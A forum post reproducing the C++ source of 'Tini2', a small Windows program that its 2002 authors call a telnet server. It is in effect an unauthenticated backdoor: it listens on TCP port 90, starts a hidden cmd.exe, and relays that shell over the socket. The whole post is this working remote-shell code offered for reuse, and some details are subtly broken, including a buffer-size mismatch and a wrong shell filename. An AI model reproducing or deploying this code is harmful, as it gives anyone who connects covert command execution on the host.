文章作者: dancefire , refdom
复制内容到剪贴板
代码:
////////////////////////////////////////////////////////////////////////////////
//
// Telnet Server.
//
// File : Tini2.cpp
//
// Create at : 2002.3.28
// Create by : dancefire , refdom
// Email : [email]dangcefire@263.net[/email] , [email]refdom@263.net[/email]
//
// If you modify the code, or add more functions, please email me a copy.
//
////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")
#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);
varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
recv_buff,
1024,
0);
WriteFile(hWriteFile,
recv_buff,
nByteToWrite,
&nByteWritten,
NULL);
}
return 0;
}
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);
varB = 1;
while (true)
{
ReadFile(hReadFile,
send_buff,
25000,
&len,
NULL);
send(ClientSocket,
send_buff,
len,
0);
}
return 0;
}
void main(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
int nRetCode;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;
WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);
varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
do{
Sleep(250);
}while((varA || varB) == 0);
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);
if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0,
NULL, NULL, &startinfo, &processinfo) == 0)
{
printf ("CreateProcess Error!\n");
return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,
szAPP,
0,
0,
true,
0,
0,
0,
&startinfo,
&processinfo);
}
while (true)
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}
